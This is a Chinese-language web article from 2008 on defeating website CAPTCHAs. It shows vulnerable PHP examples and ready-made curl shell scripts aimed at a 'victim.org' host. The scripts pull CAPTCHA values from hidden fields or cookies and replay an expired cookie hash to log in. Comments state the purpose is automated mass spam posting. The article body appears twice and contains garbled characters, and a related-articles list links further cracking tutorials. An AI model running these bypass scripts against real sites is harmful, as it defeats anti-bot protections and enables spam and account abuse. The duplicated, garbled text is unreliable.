驗證碼破解技術(shù)
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:03:06 作者:佚名
我要評論
所謂驗證碼,就是將一串隨機產(chǎn)生的數(shù)字或符號,生成一幅圖片,圖片里加上一些干擾象素(防止OCR),由用戶肉眼識別其中的驗證碼信息,
輸入表單提交網(wǎng)站驗證,驗證成功后才能使用某項功能。不少網(wǎng)站為了防止用戶利用機器人自動注冊、登錄、灌水,都采用了 驗證碼技術(shù)。
所謂驗證碼,就是將一串隨機產(chǎn)生的數(shù)字或符號,生成一幅圖片,圖片里加上一些干擾象素(防止OCR),由用戶肉眼識別其中的驗證碼信息,
輸入表單提交網(wǎng)站驗證,驗證成功后才能使用某項功能。不少網(wǎng)站為了防止用戶利用機器人自動注冊、登錄、灌水,都采用了 驗證碼技術(shù)。
很多驗證碼實現(xiàn)都有問題。比如直接給出用驗證碼在網(wǎng)頁和cookies中。
驗證碼在網(wǎng)頁中的例子:
CODE:
<?
/*
* Filename: authpage.php
* Author: hutuworm
* Date: 2003-04-28
* @Copyleft hutuworm.org
*/ srand((double)microtime()*1000000); //驗證用戶輸入是否和驗證碼一致
if(isset($HTTP_POST_VARS[’authinput’]))
{
if(strcmp($HTTP_POST_VARS[’authnum’],$HTTP_POST_VARS[’authinput’])==0)
echo "驗證成功!";
else
echo "驗證失?。?quot;;
}
//生成新的四位整數(shù)驗證碼
while(($authnum=rand()000)<1000);
?>
<form action=authpage.php method=post>
<table>
請輸入驗證碼:<input type=text name=authinput style="width: 80px"><br>
<input type=submit name="驗證" value="提交驗證碼">
<input type=hidden name=authnum value=<? echo $authnum; ?>>
<img src=authimg.php?authnum=<? echo $authnum; ?>>
</table>
</form> [Copy to clipboard] 以上例子直接將驗證碼儲存在負面中,只需下載頁面,得到驗證碼值就可突破限制。 CODE: #!/bin/sh
curl [url]http://www.vicitm.org/authpage.php[/url]
authinput=`grep ’<input type=hidden name=authnum value=[[:digit:]]\{4\}>’ grep.txt | sed -e ’s/[^0-9]//g’` #得到網(wǎng)頁中的 authnum
curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="驗證" -d authnum=$authnum [Copy to clipboard] CODE: session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum); ...
<input type=text name=authnum maxlength=4><img src=get_code.php>
... if($number != $login_check_number || empty($number))
{
print("校驗碼不正確!");
die();
}
[Copy to clipboard] 第二種要比上一種聰明一點,把驗證碼值存放在用戶Cookies中。可是由于Cookies是用戶可讀可寫,所以也極易被突破。
CODE: #!/bin/sh
$username=hacker
$password=hackme
curl [url]http://www.vicitm.org/index.php[/url] -c common_cookie # 接受服務(wù)器的初始cookies
curl [url]http://www.vicitm.org/get_code.php[/url] -c $username.cook -b common_cookie # 得到驗證碼,從cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl [url]http://www.victim.org/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用 cookies中的驗證碼登陸 [Copy to clipboard]
更高級的驗證碼。(好像本論壇的就是這種。。。。)
有一類驗證碼比以上兩種驗證碼要高級一些,它使用如下算法:
1。服務(wù)器生成一個隨機hash。
2。使用某個算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗證碼數(shù)字,再轉(zhuǎn)化成圖片。
3。hash在cookie中被發(fā)送到客戶端
3。客戶以圖片輸入驗證碼,進行登錄。服務(wù)器檢查f(hash)=驗證碼。 特點:因為攻擊者不明白服務(wù)器所使用的驗證碼編碼算法,所以無法對服務(wù)器轉(zhuǎn)來的hash進行直接解析。 對付這種驗證碼,我們可以使用“過期cookies法”,方法即:保存服務(wù)器一次特定的cookies,將其對應驗證碼記下。在每次發(fā)送驗證消息時 ,強行扔掉服務(wù)器傳來的cookies,使用這個已被使用過的cookies以及驗證碼。就好比,一張電話充值卡可以用多次一樣。 如:
先從服務(wù)器上下載一張驗證碼圖片:
curl http://www.victim.org/get_code.php -c cookie -o auth.png
人工閱讀,得到$savecookie(cookie文件中的hash)和$authnum(驗證碼)。
機器人突破驗證時,扔掉服務(wù)器給的hash,強制使用$savecookie和$authnum進行突破
CODE: $savecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme curl [url]http://www.victim.org/index.php[/url] -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉服務(wù)器給你的hash
echo "[url]www.victim.org[/url] FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 強行使用過期hash 和驗證碼
mv tmp.$username $username.cookie
curl [url]http://www.victim.org/login.php[/url] -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num # 使用過期驗證碼登陸。
#登陸成功,去瘋狂灌水。。。。。。 [Copy to clipboard]
最高級的驗證碼。
它使用如下方法:
1。服務(wù)器通過用戶相關(guān)信息(IP,SID等等)生成一個隨機hash。
2。使用某個算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗證碼數(shù)字。
3。hash不再發(fā)送給客戶端。它被保存到本地數(shù)據(jù)庫(通常是SESSIONS,有關(guān)用戶IP等信息),并由一個序列號seq所指向。(這個seq也可以 是session id)
4。seq被作為cookies發(fā)送給客戶端。
5??蛻粢詧D片輸入驗證碼。
5。服務(wù)器驗證方法:服務(wù)器并不檢查f(hash)==驗證碼,而是去讀取數(shù)據(jù)庫中期望的驗證碼。。如果用戶輸入與期望值相同,則驗證 成功。有些服務(wù)器可能還會seq與session id之間的關(guān)系進行驗繼續(xù)進行驗證。
6。一旦用戶進行了驗證操作或重新獲取驗證碼,而是服務(wù)器將對數(shù)據(jù)庫中的hash值替換成新的,老值失效過期。 特點:
×過期:由于服務(wù)器只期望保存在當前數(shù)據(jù)庫中的驗證碼,所以無法使用“過期”的驗證碼(因為已被新驗證碼所替換)。
×高強度:只發(fā)送seq,而hash被保存在本地,所以也極難破譯出f(hash)函數(shù)。 弱點:OCR(光學識別) seq劫持 “驗證碼”DOS(對某些seq進行反復請求,導致某些用戶無法進行正常驗證)
對付這種驗證碼我沒有什么好的方法,簡便的方法就是自行下載驗證碼,并給用戶顯示后登陸。這種適用只驗證一次的場合。如登陸時驗證。
CODE: curl [url]http://www.victim.org/get_code.php[/url] -c validate.png -c validcode_cookie # 得到驗證碼圖片,和對應seq。
seq=`grep seq validcode_cookie | cut -f7`
echo -n 請輸入validate.png中的驗證碼:
read valid_number # 輸入驗證碼
# 登陸,并進行某種自動化操作,如瘋狂灌水。
/*
* Filename: authpage.php
* Author: hutuworm
* Date: 2003-04-28
* @Copyleft hutuworm.org
*/ srand((double)microtime()*1000000); //驗證用戶輸入是否和驗證碼一致
if(isset($HTTP_POST_VARS[’authinput’]))
{
if(strcmp($HTTP_POST_VARS[’authnum’],$HTTP_POST_VARS[’authinput’])==0)
echo "驗證成功!";
else
echo "驗證失?。?quot;;
}
//生成新的四位整數(shù)驗證碼
while(($authnum=rand()000)<1000);
?>
<form action=authpage.php method=post>
<table>
請輸入驗證碼:<input type=text name=authinput style="width: 80px"><br>
<input type=submit name="驗證" value="提交驗證碼">
<input type=hidden name=authnum value=<? echo $authnum; ?>>
<img src=authimg.php?authnum=<? echo $authnum; ?>>
</table>
</form> [Copy to clipboard] 以上例子直接將驗證碼儲存在負面中,只需下載頁面,得到驗證碼值就可突破限制。 CODE: #!/bin/sh
curl [url]http://www.vicitm.org/authpage.php[/url]
authinput=`grep ’<input type=hidden name=authnum value=[[:digit:]]\{4\}>’ grep.txt | sed -e ’s/[^0-9]//g’` #得到網(wǎng)頁中的 authnum
curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="驗證" -d authnum=$authnum [Copy to clipboard] CODE: session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum); ...
<input type=text name=authnum maxlength=4><img src=get_code.php>
... if($number != $login_check_number || empty($number))
{
print("校驗碼不正確!");
die();
}
[Copy to clipboard] 第二種要比上一種聰明一點,把驗證碼值存放在用戶Cookies中。可是由于Cookies是用戶可讀可寫,所以也極易被突破。
CODE: #!/bin/sh
$username=hacker
$password=hackme
curl [url]http://www.vicitm.org/index.php[/url] -c common_cookie # 接受服務(wù)器的初始cookies
curl [url]http://www.vicitm.org/get_code.php[/url] -c $username.cook -b common_cookie # 得到驗證碼,從cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl [url]http://www.victim.org/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用 cookies中的驗證碼登陸 [Copy to clipboard]
更高級的驗證碼。(好像本論壇的就是這種。。。。)
有一類驗證碼比以上兩種驗證碼要高級一些,它使用如下算法:
1。服務(wù)器生成一個隨機hash。
2。使用某個算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗證碼數(shù)字,再轉(zhuǎn)化成圖片。
3。hash在cookie中被發(fā)送到客戶端
3。客戶以圖片輸入驗證碼,進行登錄。服務(wù)器檢查f(hash)=驗證碼。 特點:因為攻擊者不明白服務(wù)器所使用的驗證碼編碼算法,所以無法對服務(wù)器轉(zhuǎn)來的hash進行直接解析。 對付這種驗證碼,我們可以使用“過期cookies法”,方法即:保存服務(wù)器一次特定的cookies,將其對應驗證碼記下。在每次發(fā)送驗證消息時 ,強行扔掉服務(wù)器傳來的cookies,使用這個已被使用過的cookies以及驗證碼。就好比,一張電話充值卡可以用多次一樣。 如:
先從服務(wù)器上下載一張驗證碼圖片:
curl http://www.victim.org/get_code.php -c cookie -o auth.png
人工閱讀,得到$savecookie(cookie文件中的hash)和$authnum(驗證碼)。
機器人突破驗證時,扔掉服務(wù)器給的hash,強制使用$savecookie和$authnum進行突破
CODE: $savecookie=294b506f05f896dcbb3a0dde86a5e36c
$num=7701
$username=hacker
$password=hackme curl [url]http://www.victim.org/index.php[/url] -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉服務(wù)器給你的hash
echo "[url]www.victim.org[/url] FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 強行使用過期hash 和驗證碼
mv tmp.$username $username.cookie
curl [url]http://www.victim.org/login.php[/url] -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num # 使用過期驗證碼登陸。
#登陸成功,去瘋狂灌水。。。。。。 [Copy to clipboard]
最高級的驗證碼。
它使用如下方法:
1。服務(wù)器通過用戶相關(guān)信息(IP,SID等等)生成一個隨機hash。
2。使用某個算法(不可逆,破解難度高的)將hash轉(zhuǎn)化成為驗證碼數(shù)字。
3。hash不再發(fā)送給客戶端。它被保存到本地數(shù)據(jù)庫(通常是SESSIONS,有關(guān)用戶IP等信息),并由一個序列號seq所指向。(這個seq也可以 是session id)
4。seq被作為cookies發(fā)送給客戶端。
5??蛻粢詧D片輸入驗證碼。
5。服務(wù)器驗證方法:服務(wù)器并不檢查f(hash)==驗證碼,而是去讀取數(shù)據(jù)庫中期望的驗證碼。。如果用戶輸入與期望值相同,則驗證 成功。有些服務(wù)器可能還會seq與session id之間的關(guān)系進行驗繼續(xù)進行驗證。
6。一旦用戶進行了驗證操作或重新獲取驗證碼,而是服務(wù)器將對數(shù)據(jù)庫中的hash值替換成新的,老值失效過期。 特點:
×過期:由于服務(wù)器只期望保存在當前數(shù)據(jù)庫中的驗證碼,所以無法使用“過期”的驗證碼(因為已被新驗證碼所替換)。
×高強度:只發(fā)送seq,而hash被保存在本地,所以也極難破譯出f(hash)函數(shù)。 弱點:OCR(光學識別) seq劫持 “驗證碼”DOS(對某些seq進行反復請求,導致某些用戶無法進行正常驗證)
對付這種驗證碼我沒有什么好的方法,簡便的方法就是自行下載驗證碼,并給用戶顯示后登陸。這種適用只驗證一次的場合。如登陸時驗證。
CODE: curl [url]http://www.victim.org/get_code.php[/url] -c validate.png -c validcode_cookie # 得到驗證碼圖片,和對應seq。
seq=`grep seq validcode_cookie | cut -f7`
echo -n 請輸入validate.png中的驗證碼:
read valid_number # 輸入驗證碼
# 登陸,并進行某種自動化操作,如瘋狂灌水。
相關(guān)文章
- “CMOS密碼”就是通常所說的“開機密碼”,主要是為了防止別人使用自已的計算機,設(shè)置的一個屏障2023-08-01

QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實沒啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04
QQ截圖是我用過的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨立版目前除了屏幕錄制功能其他都逆出來了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導致軟件無法安裝的解決方法
很多電腦用戶在考慮自己電腦磁盤分區(qū)安全時會采用 Windows 自帶的 BitLocker 加密工具對電腦磁盤分區(qū)進行加密。但有些人加密后就會忘記自己設(shè)置的密碼從而導致在安裝其它軟2020-11-25
防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細介紹了如何才能防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-06-27
徹底防止計算機泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計算機泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價值,2017-06-27- 最近有電腦用戶反應量子計算機可以破解下載的所有的加密算法嗎?其實也不是不可以,下面虛擬就為大家講解買臺量子計算機,如何分分鐘破解加密算法2016-09-26
怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁后門。黑客通常會通過它控制別人網(wǎng)絡(luò)服務(wù)器,那么怎么破解webshell密碼呢?一起來看看吧2016-09-19- 本文討論了針對Linux系統(tǒng)全盤加密的冷啟動攻擊,大家都認為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28
防止泄露公司機密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對日漸嚴重的內(nèi)部泄密事件,我們?nèi)绾问刈o企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個企業(yè)領(lǐng)導面前的一大問題。其實,針對內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17






